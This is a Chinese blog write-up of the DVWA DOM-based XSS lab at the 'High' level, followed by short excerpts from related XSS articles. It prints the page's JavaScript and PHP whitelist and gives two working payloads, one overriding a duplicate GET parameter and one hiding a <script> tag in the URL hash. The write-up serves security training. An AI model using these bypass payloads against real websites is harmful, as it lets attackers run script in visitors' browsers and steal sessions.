代码编织梦想

High

1、点击select,get方式将数据发回到当前页面。

审查元素:

2、"select"之后就重新请求这个页面,其中包含的js脚本和php脚本执行。

// js代码,这部分控制select模块
if (document.location.href.indexOf("default=") >= 0) {
	// 获取default键的值
	var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
	// 输出2个option选项
	document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
	document.write("<option value='' disabled='disabled'>----</option>");
}
    
// 再输出4个默认的option选项
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
				
# 后端php代码
<?php

# 检查default值是否接受
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # default值的白名单
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        # 如果default不是以上的值,重定向
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

3、js代码操作dom树,得到的模块:

4、一个payload:

?default=</option></select><script>alert(11)</script>&default=English

这里用到的小技巧是:如果GET型发送多个同名的键值对,那么后端$_GET只接受它们中的最后一个(覆盖)。这个payload就利用后一个default键值对绕过php的白名单。同时,前面一个default键值对被js代码获取,js获取到的default值是:

</option></select><script>alert(11)</script>&default=English

这部分替换decodeURI(lang)就成功注入js代码了。

5、另一个payload:

?default=English #<script>alert(/xss/)</script>

这个payload是利用url的hash部分("#“及”#“之后的部分),这样$_GET只接受到”#"前面的部分,而不会丢失js代码。

6、有一点要注意:输入的payload含有很多特殊字符,所以浏览器会对它们进行URL编码。而js代码中的decodeURI函数就是用来URL解码的,如果没有这个函数,那么payload还是URL编码的形式,无法成功被浏览器解析成js代码,也就无法攻击了。其实这也是最后的impossible级别采用的修复方法。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/shawdow_bug/article/details/125308224

常见的web漏洞——xss_江左盟宗主的博客-爱代码爱编程_xss漏洞

目录 XSS简介 XSS原理及分类 反射型XSS 存储型XSS 基于DOM的XSS XSSer的使用 至少有一个的参数: 可选的参数: 检查选项 选择攻击向量 绕过防火墙选项 绕过器选项 特殊技术 最后注入选项 特殊最后注入选项 报告导出 XSSer演示 BeEF-XSS 漏洞的防范 总结 XSS简介 XSS是

xss漏洞简述_tgao的博客-爱代码爱编程_xss漏洞是什么

1.xss漏洞简介 XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比   如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广

web安全-xss_艾@51的博客-爱代码爱编程

XSS的定义 攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和JavaScript脚本)注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取cookie窃取、会话劫持、钓鱼欺骗。

Web渗透测试之XSS攻击:基于DOM的XSS-爱代码爱编程

文章目录 前言基于DOM的XSS什么是DOM基于DOM的XSS产生的原因如何手工挖掘基于DOM的XSS漏洞如何利用基于DOM的XSS漏洞总结 前言   本篇主要讲解什么是基于DOM的XSS漏洞,基于DOM的XSS漏洞产生的原因以及一般会在何处产生,最后讲解如何利用基于DOM的XSS漏洞(如XSS经典的窃取cookie、钓鱼等)。 基于DOM

渗透测试基础-DOM型XSS原理及实操-爱代码爱编程

渗透测试基础-DOM型XSS原理及实操 DOM是什么,DOM型XSS又是什么Dom型XSS靶场演练漏洞总结 只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪! DOM是什么,DOM型XSS又是什么 Dom是一个与平台,编程语言无关的【端口】,它允许程序或者脚本动态的访问和更新文档

漏洞进阶之——XSS万能超级无敌全通杀payload-爱代码爱编程

XSS万能超级无敌全通杀payload XSS 漏洞简介payload——on,js事件payload——标签payload——过狗过墙思路本人常用payload分享 —————————————— 抱歉起的名字猖狂了点,我认,但我不改 —————————————— XSS 漏洞简介 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Scr

XSS漏洞详解-爱代码爱编程

目录 一、XSS漏洞原理 二、XSS漏洞的危害 三、XSS漏洞的分类 1、反射型XSS 2、存储型XSS 3、DOM型XSS 4、判断是哪一种XSS 四、XSS漏洞的检测与防御 1、检测 手工检测 工具检测 2、防御 一、XSS漏洞原理 XSS,即跨站脚本攻击,是指攻击者利用Web服务器中的应用程序或代码漏洞,在页面中嵌入客户端

[ 常见漏洞篇 ]常见web漏洞总结------XSS跨站脚本漏洞-爱代码爱编程

 本文简单的总结了一下XSS的知识点 主要是从面试的角度来总结的 如果想从事安全方向,那么这些基本的漏洞都是需要掌握的 目录 一、XSS形成原因: 二、XSS分类: 1. 反射型XSS 2. 存储型XSS 3. DOM型XSS 1. 被攻击对象的不同 2. 解析位置不同 3. 存储时间不同 三、XXS防御: 1. 输

XSS漏洞-爱代码爱编程

一. XSS漏洞简介 XSS(即跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

关于 Xss 攻击的那些事-爱代码爱编程

关于 Xss 攻击的那些事 文章首发于个人博客 前言 准备秋招的时候, 背了一些关于 Xss 的八股文, 但是没有深入了解, 所以当时面试回答的时候, 只能自己背的那部分说出来, 当面试官一深问时, 就回答不出来了, 直到现在有时间去研究 Xss 攻击, 才发现和自己背的八股文有一些区别。 文章中的 🌰 源代码都可以在这里下载, 最好是自

XSS跨站脚本攻击漏洞-爱代码爱编程

XSS跨站脚本攻击漏洞 文章目录 XSS跨站脚本攻击漏洞0x01 XSS 背景0x02 XSS 概论利用XSS漏洞XSS攻击的类型反射型XSS:存储型XSS:DOM型XSS:0x03 最常见的cookies类型a.Session Cookieb.Persistent Cookiec.Secure cookied.HttpOnly Cookiee.

漏洞挖掘之XSS-爱代码爱编程

XSS介绍 XSS即跨站脚本攻击,是OWASP TOP10之一。它的全称为Cross-site scripting,之所以缩写为XSS是因为CSS这个简称已经被占用了。 XSS攻击的原理为,浏览器将用户输入的恶意内容当做脚本去执行,从而导致了恶意功能的执行,这种针对用户浏览器的攻击即跨站脚本攻击。它的攻击方式可以分为三种类型:反射型、存储型和DOM型。

msf制作windows客户端恶意软件获取shell过程_msf 生产恶意代码-爱代码爱编程

今天继续给大家介绍渗透测试相关知识,本文主要内容是MSF制作Windows客户端恶意软件获取SHELL。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强

web漏洞篇——跨站脚本攻击(xss)_xss攻击工具-爱代码爱编程

目录 一、XSS简述 1.1 什么是XSS 1.2 XSS分类 1.3 DOM XSS漏洞演示 二、XSS攻击进阶 2.1 初探XSS Payload 2.2 强大的XSS Payload 2.3 XSS攻击平台 2.4 XSS Worm 2.5 XSS构造技巧 2.6 反射型XSS利用技巧-回旋镖 2.7 Flash XSS